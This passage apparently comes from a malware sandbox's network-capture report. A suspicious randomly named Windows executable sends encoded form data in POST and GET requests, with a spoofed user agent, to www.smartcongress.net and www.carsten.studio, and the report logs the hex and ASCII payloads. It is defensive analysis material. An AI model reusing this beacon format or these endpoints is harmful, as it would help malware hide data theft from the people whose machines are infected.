"-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49192	146.88.233.115	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:30.461694002 CET	820	OUT	POST /m1g9/ HTTP/1.1 Host: www.smartcongress.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.smartcongress.net Referer: http://www.smartcongress.net/m1g9/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 50 73 57 46 5a 6e 73 52 39 31 6e 75 65 67 7a 69 2f 6e 43 72 4d 67 62 49 62 4e 54 42 36 2b 4b 43 71 70 5a 70 48 41 30 62 44 2f 50 54 6e 54 6e 52 72 46 5a 42 77 54 74 73 64 4a 4f 65 51 53 56 7a 39 59 4a 58 68 41 73 4a 56 56 66 4a 75 43 52 4a 41 72 39 67 50 70 33 4c 49 59 37 6c 78 59 77 37 72 46 53 57 4b 55 61 57 47 72 67 6f 73 51 62 4e 69 4c 43 74 4b 57 67 6f 72 6c 6e 4a 56 48 4f 35 39 42 55 78 56 4d 7a 4e 32 73 35 72 68 4e 44 77 31 75 66 46 64 33 76 4c 61 6b 63 7a 57 37 71 43 4c 30 53 58 52 6e 64 4c 59 67 58 78 5a 4e 45 63 4f 70 64 2f 53 6f 4a 54 72 76 6d 41 43 44 4d 75 68 51 3d 3d Data Ascii: x4=PsWFZnsR91nuegzi/nCrMgbIbNTB6+KCqpZpHA0bD/PTnTnRrFZBwTtsdJOeQSVz9YJXhAsJVVfJuCRJAr9gPp3LIY7lxYw7rFSWKUaWGrgosQbNiLCtKWgorlnJVHO59BUxVMzN2s5rhNDw1ufFd3vLakczW7qCL0SXRndLYgXxZNEcOpd/SoJTrvmACDMuhQ==
Dec 12, 2024 10:22:31.731724024 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Thu, 12 Dec 2024 09:22:31 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49193	146.88.233.115	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:33.121078968 CET	2472	OUT	POST /m1g9/ HTTP/1.1 Host: www.smartcongress.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.smartcongress.net Referer: http://www.smartcongress.net/m1g9/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 50 73 57 46 5a 6e 73 52 39 31 6e 75 50 77 6a 69 73 77 57 72 4c 41 62 4c 65 4e 54 42 78 65 4c 4c 71 70 56 70 48 42 77 4c 44 4a 76 54 67 41 66 52 73 6d 39 42 79 54 74 73 4b 5a 4f 61 50 43 56 70 39 59 4d 75 68 45 6f 33 56 54 48 4a 2f 52 35 4a 4a 4f 52 76 58 70 33 4a 4d 59 37 6b 78 59 78 37 72 46 43 53 4b 55 65 38 47 71 49 6f 76 69 44 4e 6c 37 43 69 57 47 67 6f 72 6c 6e 46 56 48 4f 56 39 42 64 6b 56 49 33 64 32 65 68 72 68 76 37 77 33 50 66 47 62 33 76 48 45 30 64 73 58 59 44 4e 4a 31 57 44 54 78 64 65 59 41 6a 70 63 75 6f 73 42 76 46 72 54 4b 45 7a 6a 76 66 4e 49 52 68 58 79 42 39 77 6e 77 50 38 63 34 31 65 51 6c 2f 31 61 6c 72 6f 4b 6c 7a 45 2b 65 4c 72 4f 72 58 72 5a 57 4f 39 2b 61 38 74 6b 42 6a 33 52 53 4d 36 64 6a 62 71 74 69 69 75 38 36 62 76 6a 47 34 34 71 65 62 2f 33 41 57 74 37 70 57 59 38 36 66 54 76 68 67 5a 7a 39 71 33 34 4a 6d 46 41 41 6f 4b 6a 72 2b 53 66 56 64 70 6b 46 6f 34 33 53 4f 73 38 6f 57 54 38 4c 6c 6e 4e 6f 77 62 2f 4b 52 69 77 70 52 77 63 51 41 6d 64 38 62 63 36 4f 68 [TRUNCATED] Data Ascii: x4=PsWFZnsR91nuPwjiswWrLAbLeNTBxeLLqpVpHBwLDJvTgAfRsm9ByTtsKZOaPCVp9YMuhEo3VTHJ/R5JJORvXp3JMY7kxYx7rFCSKUe8GqIoviDNl7CiWGgorlnFVHOV9BdkVI3d2ehrhv7w3PfGb3vHE0dsXYDNJ1WDTxdeYAjpcuosBvFrTKEzjvfNIRhXyB9wnwP8c41eQl/1alroKlzE+eLrOrXrZWO9+a8tkBj3RSM6djbqtiiu86bvjG44qeb/3AWt7pWY86fTvhgZz9q34JmFAAoKjr+SfVdpkFo43SOs8oWT8LlnNowb/KRiwpRwcQAmd8bc6OhKV7FxpZw/5sUwU9UzDJNipyEqWRAayGbmvp3+74NPGCzA7rI1ibdpTrQo2Y2GK6kks5jEPbiZenqPkNy3KbqyU7r6r3EwqS+pKqPcAIRcVbjE2i6dtb3f/1x6Kbq+4UQ1wQSkVHeqULsReGtrYt80nJrv4ccWe99YywRB3q8TjgN5ohJ7Pw6P2MwRp5E4Bt9a8YCIRWwJ8JOwbNJ/EuGLD+zWzImRvV6diiRd03fpCyso6mbhaeifNagFZzhkwsvsnrVvRTS9+hXAmMC1S39Krnn7J34Sr+fvhnmQGOQoDclIZtb/EjEGnqbAbqoIe/qsSCcoES5XSdiRp8+YNBE0DWf8QnjwRfLUIyy27rpOkzFLOcwYyh50v/S8Y4lWP/CZUP6n9AMpZoJLLVQ6OJFTdORmHgBONe89Woci9eDLpQw3RgAk01y3fbFBDUWCMkMYeuktUN6YYBHUP7YAMtarBih9a+OKKj2B4FRQsjmxA++zTSQL6cUggjIZZi1YaMhsnlI62rE5K6GfXpJ0avntMQrG5Ua4yZveaRNUQ/UvO42CnfFFsYO/WeEQ5KuPj4TZBtYduGgI1aYAt1JNbXf8J/IvIHy/fOB4gbsj7RRGi6sLWANDBg1XsSGjMkbMV0/ULKNDbHThU6+BgIIIAFNKPhFzoHOHlqKms [TRUNCATED]
Dec 12, 2024 10:22:33.240523100 CET	1773	OUT	Data Raw: 45 30 2f 34 78 76 6d 31 58 76 74 6d 48 63 58 36 77 61 54 5a 79 66 55 64 6b 69 52 36 32 37 6e 78 54 45 41 6c 2f 69 35 6f 64 4e 72 59 78 32 64 33 32 64 68 33 72 39 77 61 74 4d 6e 53 2f 32 37 48 78 34 75 31 4f 72 36 76 4f 35 38 4c 6c 49 6e 75 79 58 Data Ascii: E0/4xvm1XvtmHcX6waTZyfUdkiR627nxTEAl/i5odNrYx2d32dh3r9watMnS/27Hx4u1Or6vO58LlInuyXkNEQy/qS81GFF5hcdFsju/GtLqeF/RlZMocfjp1IqovFUhe1aDPi5o4KaprpvNhV/VUIVflj+OBOskwjV4bobCbfxWYrj49FwVCf8WyBsaYDXFyD/MOJAB0TXT2iIKfrN2yJ0R5ga2MF9dxee8vwNT/Wh1pqQvKO+
Dec 12, 2024 10:22:34.499677896 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Thu, 12 Dec 2024 09:22:34 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49194	146.88.233.115	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:35.774292946 CET	546	OUT	GET /m1g9/?x4=Cu+laRdL4iPyeXPOvnXbHATCRLbFtZvgmbFpChU/EeiHg3j+sEFT+StkZuqTMzkW17xuxTA+IyjM3SxoNr0bNIrAJ4iZv6YB/kmuH0GNS74UnHLgt4utBlkurB62&e2E=wRQ8oHXx HTTP/1.1 Host: www.smartcongress.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:22:37.055391073 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Thu, 12 Dec 2024 09:22:36 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49195	217.160.0.200	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:42.837428093 CET	2472	OUT	POST /8mom/ HTTP/1.1 Host: www.carsten.studio Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.carsten.studio Referer: http://www.carsten.studio/8mom/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 69 31 2f 4a 62 70 33 4c 6d 4c 43 4a 38 36 47 44 6e 75 75 43 75 78 46 32 65 53 65 37 66 2f 77 4b 58 5a 7a 47 79 32 56 47 67 55 57 61 6d 37 53 7a 64 30 69 47 74 7a 79 76 4a 37 45 30 35 45 66 72 64 58 56 66 4a 32 68 74 61 56 33 37 4e 6b 62 77 4a 4f 58 51 6c 69 75 66 69 6a 35 72 52 74 45 55 47 79 66 78 77 4c 44 48 75 76 55 47 49 47 56 6b 67 37 78 34 45 64 62 31 47 72 44 49 35 48 66 4d 43 59 56 31 55 61 6f 32 35 33 4a 70 63 45 39 34 48 33 35 70 4b 55 2b 2b 61 66 59 64 52 55 4b 62 4c 65 53 4f 4c 71 38 69 46 51 35 76 41 69 4a 78 44 77 45 73 68 44 31 2f 35 34 6c 74 46 61 31 7a 51 41 4f 6f 56 42 47 72 6d 4d 2b 65 36 73 77 74 44 4a 6d 4a 6d 62 4a 5a 4f 72 53 76 54 6d 73 32 6c 76 61 6e 6d 4f 41 4d 74 70 46 67 59 37 78 38 62 61 39 4c 6b 6e 32 77 50 6a 41 37 31 6d 39 78 7a 75 30 67 41 42 74 55 51 76 76 68 69 36 69 5a 35 67 6f 58 57 58 59 4f 32 78 52 4a 52 30 62 75 4e 51 4d 4a 6f 38 6f 55 4d 6a 4c 48 54 62 57 49 64 49 78 4f 4a 6b 70 65 49 2f 49 51 75 7a 79 6a 38 34 6b 77 44 5a 4f 68 37 77 6d 70 49 45 53 [TRUNCATED] Data Ascii: x4=i1/Jbp3LmLCJ86GDnuuCuxF2eSe7f/wKXZzGy2VGgUWam7Szd0iGtzyvJ7E05EfrdXVfJ2htaV37NkbwJOXQliufij5rRtEUGyfxwLDHuvUGIGVkg7x4Edb1GrDI5HfMCYV1Uao253JpcE94H35pKU++afYdRUKbLeSOLq8iFQ5vAiJxDwEshD1/54ltFa1zQAOoVBGrmM+e6swtDJmJmbJZOrSvTms2lvanmOAMtpFgY7x8ba9Lkn2wPjA71m9xzu0gABtUQvvhi6iZ5goXWXYO2xRJR0buNQMJo8oUMjLHTbWIdIxOJkpeI/IQuzyj84kwDZOh7wmpIES3sz9yiwPghITaDq9DYPNIX/Oa4iyDSboAiX4U+bR+VDd2sBDb4lraU0RuJeMOxfaRW2w1imIyIxiJzCx4tw/h2cz8m7cUSjSYDPBo4REo6Q8fVmAhbdXw2Sx6mjU2eNCqs69yNXfnF43nyYO67PAiNZC49unqrSByEjZK8+ssVlZ/YKPKhHkDahrjjvMlYAKYT91CF94H44i12u8HkURGeSSAroT0y+x0stZkjfLPUPyWZaTepTqEcpRDEMLI3wNr5jFn7vqe9CBuORizeZfTxz4sYf0kDydbEDAgHyKvBdOeXLUVSiyxzZkm0jrmPg9pgiF0C7IHPmIOZR9Kgstk0pn0N2WH129EmSftl69s2BuX0k3EmFHaqal7e8szUGhyUOf8v7a9JDfM8l/7l6h/9vu/RuYIwXWj8ylII4NImG5rkLT8eQe5GUPZgC1P6PMP49qaqsCisdjyCe2qkq17Hvxu+1XBD/8QRe4yOvUwzZvVAt2VVsHdRvLc6Il8Xr0hYt0Hvb2ArU7KEqZUebfXrtAUzwQ6AJTgkVg690i+38JRgdIypKRCln3VXU832Bo3PHE4V4sxGXEWXQT2Cv5gyp90BkXNIkjqtE5I2Islh01gTOnEnrWZayQEEp40AA70ONOlYtVHQJhUQHNhM1Dk7E2k0Mxv1Dkxl [TRUNCATED]
Dec 12, 2024 10:22:42.957237959 CET	300	OUT	Data Raw: 58 4f 49 72 48 61 77 4b 42 73 6b 39 33 48 77 77 6d 75 5a 4e 54 45 35 49 34 72 4d 77 43 52 7a 75 69 58 71 69 6d 61 42 66 45 75 7a 46 39 4f 78 46 53 35 76 44 74 77 74 6c 62 59 67 67 74 77 43 7a 42 68 41 4b 37 41 31 68 42 74 6a 78 71 62 30 77 6a 36 Data Ascii: XOIrHawKBsk93HwwmuZNTE5I4rMwCRzuiXqimaBfEuzF9OxFS5vDtwtlbYggtwCzBhAK7A1hBtjxqb0wj6IM1D1vxhRk9pYnCMoVQSqvEkQUR0URt3svPIpQACXyGeSoeqTeN53eNbkiQSJW2+s1WzdMTyhgVbElilxwWpBqDW9abb3xJLgjGGZZMu+OTYvZjb+SheyipiVqQlrMh9h0AlIiRMzp3VqtKjfuiCnasnivo8IN27V
Dec 12, 2024 10:22:44.106810093 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 12 Dec 2024 09:22:43 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Dec 12, 2024 10:22:44.106861115 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49196	217.160.0.200	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:45.507126093 CET	811	OUT	POST /8mom/ HTTP/1.1 Host: www.carsten.studio Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.carsten.studio Referer: http://www.carsten.studio/8mom/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 69 31 2f 4a 62 70 33 4c 6d 4c 43 4a 38 37 47 44 31 4c 43 43 6f 52 46 32 58 43 65 37 49 76 77 49 58 5a 2f 4f 79 30 34 62 6a 6c 4f 61 68 71 69 7a 63 42 57 47 75 7a 79 75 47 62 45 6f 33 6b 65 70 64 58 56 55 4a 32 74 74 61 56 6a 37 4e 47 6a 77 50 4c 37 54 36 43 75 64 33 7a 35 71 52 74 41 6e 47 79 54 66 77 4c 37 48 75 73 41 47 4a 47 46 6b 6d 59 5a 34 56 39 62 7a 4e 4c 43 53 35 47 6a 5a 43 59 6c 39 55 62 6b 32 34 47 56 70 63 52 42 34 52 77 56 70 44 30 2b 2f 51 2f 59 4e 52 6d 61 52 4a 63 47 6c 44 35 38 72 4e 53 42 56 4b 78 70 6b 50 79 52 6c 67 52 64 70 79 66 49 6c 4d 2b 63 32 4e 67 3d 3d Data Ascii: x4=i1/Jbp3LmLCJ87GD1LCCoRF2XCe7IvwIXZ/Oy04bjlOahqizcBWGuzyuGbEo3kepdXVUJ2ttaVj7NGjwPL7T6Cud3z5qRtAnGyTfwL7HusAGJGFkmYZ4V9bzNLCS5GjZCYl9Ubk24GVpcRB4RwVpD0+/Q/YNRmaRJcGlD58rNSBVKxpkPyRlgRdpyfIlM+c2Ng==
Dec 12, 2024 10:22:46.771797895 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 12 Dec 2024 09:22:46 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Dec 12, 2024 10:22:46.771863937 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49197	217.160.0.200	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:48.203142881 CET	2472	OUT	POST /8mom/ HTTP/1.1 Host: www.carsten.studio Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.carsten.studio Referer: http://www.carsten.studio/8mom/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 69 31 2f 4a 62 70 33 4c 6d 4c 43 4a 36 71 32 44 6d 34 61 43 35 42 46 31 54 79 65 37 66 2f 77 45 58 5a 7a 4f 79 32 56 47 67 58 43 61 6d 39 4f 7a 63 6b 69 47 73 7a 79 75 41 62 45 30 35 45 66 71 64 55 70 32 4a 33 64 62 61 58 50 37 4e 6c 62 77 4a 4a 6a 51 79 53 75 66 36 54 35 74 52 74 41 79 47 79 44 6c 77 4c 76 70 75 73 59 47 49 31 74 6b 67 6f 5a 33 4c 4e 62 7a 4e 4c 43 57 35 47 6a 78 43 5a 42 6c 55 61 39 72 35 77 35 70 64 30 39 34 57 58 35 71 46 30 2b 37 65 66 59 62 52 55 48 6a 4c 65 53 4b 4c 70 41 62 46 51 31 76 42 78 42 78 44 78 45 74 75 7a 31 38 39 34 6c 74 4b 36 31 78 51 41 50 33 56 42 47 72 6d 50 61 65 37 38 77 74 44 4d 4b 49 69 62 4a 5a 53 37 53 59 5a 47 77 69 6c 75 2f 45 6d 4f 77 32 74 61 4a 67 5a 35 70 38 66 71 39 4c 69 58 32 36 50 6a 41 38 36 47 39 48 7a 75 73 47 41 42 39 45 51 76 76 68 69 2f 32 5a 76 7a 41 58 55 48 59 4f 35 52 52 4d 59 55 62 70 4e 52 34 6e 6f 38 63 55 4d 69 54 48 52 72 6d 49 66 4e 74 4e 43 30 70 62 4d 